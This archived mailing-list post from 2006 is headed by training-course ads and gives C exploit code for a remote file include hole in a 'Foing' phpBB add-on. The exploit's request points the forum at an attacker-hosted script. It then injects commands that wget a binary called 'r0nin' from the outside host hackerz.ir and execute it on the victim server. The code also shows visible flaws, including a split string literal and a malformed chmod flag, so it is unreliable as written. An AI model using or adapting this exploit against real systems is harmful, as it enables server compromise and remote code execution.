Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Vuln-Dev
[Top] [All Lists]

Foing Remote File Include Vulnerability [PHPBB]

Subject: Foing Remote File Include Vulnerability [PHPBB]
Date: 29 May 2006 16:12:38 -0000
vendor : phpbbhacks.com
Exploit BY :s3rv3r_hack3r
WWW : http://www.hackerz.ir
Exploit >>>

/* Foing Remote File Include exploit By s3rv3r_hack3r */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define PORT 80

char shellop[] = "GET 
/index.php?phpbb_root_path=http://www.hackerz.ir/cmd.txt?cmd=cd 
../../../../../../../../../../tmp;wget http://www.hackerz.ir/r0nin;";
              "chmod +X r0nin;./r0nin%60%22|\r";

int main(int argc, char *argv[]) {

char shell[BUFSIZ];
int sock;
struct sockaddr_in remop;

if(argc != 2) {
        printf("\n++++++++++++++++++++++++++++++++++++++++++++++++++++\n");
        printf("\n             Iran Hackerz Security Team             \n");
        printf("\n    WebSite's: www.hackerz.ir & www.h4ckerz.com     \n");
        printf("\n++++++++++++++++++++++++++++++++++++++++++++++++++++\n");
        printf("\n*Foing Remote File Include Vulnerability [PHPBB]*   \n");
        printf("\n++++++++++++++++++++++++++++++++++++++++++++++++++++\n");
        printf("\nUsage: http://www.Victim.ltd/[foingpath]            \n");
        printf("\n++++++++++++++++++++++++++++++++++++++++++++++++++++\n");
return 0; }

if(argc == 2) {

        printf("\n++++++++++++++++++++++++++++++++++++++++++++++++++++\n");
        printf("\nExploit By : s3rv3r_hack3r@yahoo.com                \n");
        printf("\n                            PLZ A W8                \n");
        printf("\n++++++++++++++++++++++++++++++++++++++++++++++++++++\n");


remop.sin_family = AF_INET;
remop.sin_port = htons(PORT);
remop.sin_addr.s_addr = inet_addr(argv[1]);

if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
printf("\nERROR: Socket()\n\n");
return -1; }

if(connect(sock,(struct sockaddr *)&remop, sizeof(struct sockaddr)) < 0) {
printf("\nERROR: Connect()\n\n");
return -1; }

if(send(sock,&shellop, sizeof(shellop), 0) < 0) {
printf("\nERROR: Send()\n\n");
return -1; }

close(sock);
sleep(3);

printf("\nr0nin run seccessfuly\n\n");

printf("\n"); }

return 0; }

<Prev in Thread] Current Thread [Next in Thread>
  • Foing Remote File Include Vulnerability [PHPBB], s3rv3r_hack3r <=